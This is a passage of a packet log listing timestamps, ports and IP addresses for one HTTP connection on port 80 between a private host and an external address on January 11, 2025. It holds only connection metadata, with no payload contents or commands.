Jan 11, 2025 04:54:18.911807060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.911820889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.911844015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.911884069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.911964893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912015915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912025928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912035942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912045002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912069082 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912102938 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912147999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912163019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912173986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912184954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912198067 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912235975 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912281990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912292004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912302017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912333965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912353992 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912369967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912379980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912390947 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912410021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912420034 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912420988 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912461996 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912610054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912619114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912659883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912674904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912692070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912700891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912719011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912729025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912743092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912743092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912754059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912763119 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912794113 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.912951946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.912991047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913002968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913038015 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913099051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913110018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913120031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913131952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913144112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913149118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913155079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913172007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913182974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913193941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913194895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913232088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913589954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913603067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913615942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913646936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913650990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913662910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913676023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913696051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913702011 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913707972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913743973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913770914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913772106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913781881 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913794994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913806915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913817883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.913820028 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.913861990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916465998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916699886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916712046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916722059 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916753054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916762114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916773081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916774035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916784048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916794062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916805029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916815996 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916817904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916829109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916848898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916860104 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916860104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916891098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.916970968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916981936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.916992903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917004108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917016029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917023897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917028904 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917072058 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917470932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917483091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917501926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917511940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917516947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917524099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917537928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917574883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917598963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917602062 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917615891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917628050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917644024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917648077 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917665005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917675018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917686939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917689085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917696953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917706966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.917733908 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.917761087 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.918214083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.918226004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.918236971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.918245077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.918266058 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.918304920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950094938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950109005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950129032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950155020 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950169086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950182915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950186968 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950195074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950222969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950227976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950232029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950252056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950254917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950269938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950278997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950279951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950292110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950304985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950314999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950315952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950328112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950340986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.950360060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.950381041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.967437029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967474937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967490911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967504025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967515945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967520952 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.967529058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967541933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.967544079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.967581987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.967605114 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.984580994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984649897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984687090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984721899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984746933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.984757900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984791040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984807014 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:18.984828949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:18.984853029 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.001965046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002023935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002042055 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002077103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002111912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002141953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002146959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002186060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002207994 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002417088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002490044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002501011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002554893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002584934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002602100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002635956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002671003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002690077 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002744913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002794027 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002794981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002830029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002876997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002885103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002918959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002950907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.002974033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.002984047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003016949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003032923 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003067970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003101110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003113031 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003132105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003180027 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003182888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003235102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003268003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003290892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003365993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003416061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003422976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003474951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003508091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003529072 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003540993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003573895 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003608942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003633022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003642082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003674030 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003674030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003710985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003729105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003742933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003776073 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003803968 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003809929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003844976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003859043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003876925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003910065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003925085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.003942966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003976107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.003992081 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004009008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004041910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004070044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004074097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004107952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004118919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004143000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004174948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004188061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004210949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004241943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004256964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004276037 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004308939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004337072 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004343033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004375935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004390955 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004410028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004442930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004456043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004476070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004509926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004518986 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004543066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004575968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004586935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004609108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004641056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004656076 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.004674911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004723072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.004759073 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.013605118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.018537998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.018598080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.018603086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.018634081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.018687010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.018712997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.018731117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.018786907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.018984079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019035101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019085884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019093037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.019120932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019167900 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.019175053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019208908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019243002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019257069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.019275904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019309998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019323111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.019364119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019399881 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019412041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.019433022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019464970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019479036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.019498110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.019541979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.021887064 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040035009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040144920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040199995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040209055 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040251970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040302038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040306091 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040338039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040369987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040384054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040421963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040451050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040467978 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040483952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040517092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040527105 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040549040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040580988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040594101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040612936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040643930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040653944 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040676117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040709972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040720940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040741920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040777922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040788889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040811062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040843964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040853024 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:54:19.040875912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040910006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:54:19.040924072 CET	49705	80	192.168.2.5	193.143.1.205
